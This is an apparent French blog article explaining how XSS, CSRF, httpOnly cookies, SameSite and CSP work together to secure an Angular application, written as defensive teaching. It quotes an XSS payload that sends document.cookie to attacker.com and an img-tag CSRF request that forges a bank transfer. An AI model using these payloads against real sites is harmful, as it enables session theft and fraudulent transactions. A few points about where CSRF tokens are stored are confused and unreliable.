La sécurité web repose rarement sur une seule couche. Vous avez probablement entendu parler de CSRF, XSS et httpOnly cookies comme des concepts isolés, des cases à cocher dans une checklist de conformité. Pourtant, ces trois éléments ne valent vraiment que s'ils travaillent ensemble. Un CSRF token sans XSS protection, c'est de la théâtre. Un httpOnly cookie sans la bonne architecture côté serveur, c'est une fausse confiance. Cet article décortique comment ces trois piliers interagissent et comment les implémenter vraiment dans une application Angular moderne.
Comprendre la trinité : chaque menace, sa parade
Les trois menaces qu'on combat ici sont fondamentalement différentes, et c'est pourquoi les défenses doivent l'être aussi. Une attaque XSS (Cross-Site Scripting) injecte du code malveillant directement dans le DOM de votre page. L'attaquant ne vole pas votre cookie : il l'utilise en tant que vous, depuis votre navigateur. Une attaque CSRF (Cross-Site Request Forgery) force votre navigateur à faire des requêtes non autorisées vers un site où vous êtes connecté—par exemple, virer de l'argent depuis votre compte bancaire, tout en croyant cliquer sur une pub innocente. Les httpOnly cookies, eux, ne sont qu'une partie de la solution : ils empêchent JavaScript d'accéder à vos tokens d'authentification, limitant les dégâts en cas de XSS réussi.
La confusion vient souvent du fait que ces attaques se combinent. Un XSS bien exécuté peut contourner la protection CSRF en lisant les tokens côté client. Un CSRF mal géré permet à un attaquant de forcer des actions sans même injecter de code. Et un cookie sans httpOnly peut être volé par une injection XSS triviale. Chaque couche renforce les autres, mais chacune doit aussi fonctionner indépendamment.
XSS : deux approches, deux mondes
Il existe deux catégories de XSS : stocké et réfléchi. Un XSS stocké persiste dans votre base de données—un commentaire malveillant qui restera là, attendant que d'autres utilisateurs le consultent. Un XSS réfléchi arrive via l'URL et n'affecte que celui qui clique sur le lien malveillant. Angular gère déjà une part du travail pour vous : son système de templating échappe automatiquement les valeurs interpolées. Mais cela ne vous protège que partiellement.
const userComment = '<img src=x onerror="fetch(\'https://attacker.com?cookie=\' + document.cookie)">';
Supposons qu'un utilisateur envoie le commentaire ci-dessus. Angular va l'échapper, il deviendra une chaîne de caractères inoffensive. Mais si vous utilisez innerHTML ou bypassSecurityTrustHtml() sans vérification stricte, vous réintroduisez le vecteur d'attaque. La règle d'or : ne jamais faire confiance aux données utilisateur, jamais utiliser innerHTML directement, et si vous devez vraiment accepter du HTML, utilisez une librairie comme DOMPurify pour le nettoyer avant le rendu.
En Angular, préférez toujours [property] binding ou {{interpolation}} plutôt que [innerHTML] . Si vous devez afficher du contenu riche, utilisez une directive de sanitisation personnalisée ou une librairie éprouvée. Le Content Security Policy (CSP) complète cette défense en restreignant les sources de scripts autorisées, limitant ainsi les dégâts même si une injection réussit à passer.
CSRF : tokens stateless et SameSite
Le CSRF fonctionne parce que votre navigateur envoie automatiquement vos cookies avec chaque requête, même si elle vient d'un site tiers. L'attaquant ne peut pas lire votre cookie (grâce à Same-Origin Policy), mais il peut forcer votre navigateur à l'envoyer. Un CSRF token est une valeur aléatoire, générée par le serveur, que le client doit renvoyer dans chaque requête qui modifie des données. L'attaquant ne peut pas deviner ce token, donc il ne peut pas forcer votre navigateur à faire une requête valide.
Avec Angular et un backend moderne (Node.js, Java, Python), voici le flux typique : le serveur génère un token unique par session, le client le récupère via une requête GET sûre, le stocke, puis l'inclut dans les en-têtes de chaque POST, PUT ou DELETE. Les frameworks comme Express (avec csrf ou csurf ) ou Spring Security le gèrent pour vous. Mais attention : si vous stockez le token dans localStorage, un XSS peut le voler et l'utiliser. C'est pourquoi on le place souvent dans un cookie httpOnly côté serveur, et le client le lit depuis une réponse ou l'en-tête HTTP.
Le navigateur moderne offre une seconde couche : l'attribut SameSite sur les cookies. Avec SameSite=Strict , le cookie n'est envoyé que pour les requêtes depuis le même site. SameSite=Lax permet certains cas de navigation (liens externes), ce qui est généralement un bon compromis. Combiné à un CSRF token, c'est une défense en profondeur solide. Malheureusement, beaucoup de développeurs activent SameSite et pensent pouvoir abandonner les tokens CSRF. Erreur : SameSite ne protège pas contre les attaques internes ou les navigateurs anciens.
httpOnly cookies : la dernière ligne de défense
Un cookie avec l'attribut httpOnly ne peut pas être accédé par JavaScript. Cela signifie que même si un XSS injecte du code malveillant, ce code ne peut pas lire document.cookie . C'est une protection simple mais redoutablement efficace. Le navigateur envoie quand même le cookie à chaque requête (c'est son rôle), mais au moins le code injecté ne peut pas le voler pour le transmettre à un serveur attaquant.
En pratique, vous devez servir votre session ou token d'authentification dans un httpOnly cookie, pas dans localStorage. localStorage est lisible par JavaScript, ce qui en fait une cible facile pour le XSS. Un cookie httpOnly, même volé par le biais d'une attaque XSS, ne peut être utilisé que par le navigateur lui-même—pas par le code malveillant. Associez cela à Secure (le cookie n'est envoyé que sur HTTPS) et SameSite , et vous avez une authentification robuste.
Piège courant : la fausse sécurité par couches
Beaucoup de développeurs pensent qu'une seule couche suffit. « J'ai un CSRF token, je suis protégé. » Ou : « Mes cookies sont httpOnly, pas besoin de CSRF. » Faux. Ces trois éléments ne remplacent pas l'un l'autre, ils se complètent. Un exemple concret : un site bancaire avec CSRF token mais sans httpOnly cookie. Un XSS permet au code injecté de lire le token depuis le DOM, le voler, et l'envoyer au serveur attaquant. Le token ne protège plus rien. Inversement, un site avec httpOnly cookie mais sans SameSite et sans CSRF token. Un attaquant crée une page avec <img src="https://bank.com/transfer?amount=1000&to=attacker"> . Le navigateur envoie automatiquement le cookie, et la requête réussit. L'absence de token CSRF rend la défense inutile.
La vraie sécurité demande une pensée systémique. Validez et échappez tout input côté client (Angular). Implémentez CSP pour restreindre les sources de scripts. Servez les tokens CSRF et les sessions en httpOnly cookies. Activez SameSite. Validez les tokens côté serveur. Utilisez HTTPS partout. Chaque couche réduit la surface d'attaque, mais aucune n'est infaillible seule.
Conclusion : une stratégie, pas une checklist
La sécurité web n'est pas une série de cases à cocher. CSRF, XSS et httpOnly cookies ne sont que des pièces d'un puzzle plus grand. Comprendre comment chacun fonctionne et comment ils interagissent est la première étape. La seconde est de les implémenter consciemment dans votre architecture : choisir le bon stockage pour vos tokens, activer les bonnes en-têtes HTTP, valider rigoureusement les données. Dans une application Angular moderne, cela signifie utiliser un intercepteur HTTP pour ajouter les tokens CSRF, sanitiser les contenus dynamiques, et travailler avec un backend qui gère les sessions de manière sûre. Le coût est minime, la différence énorme.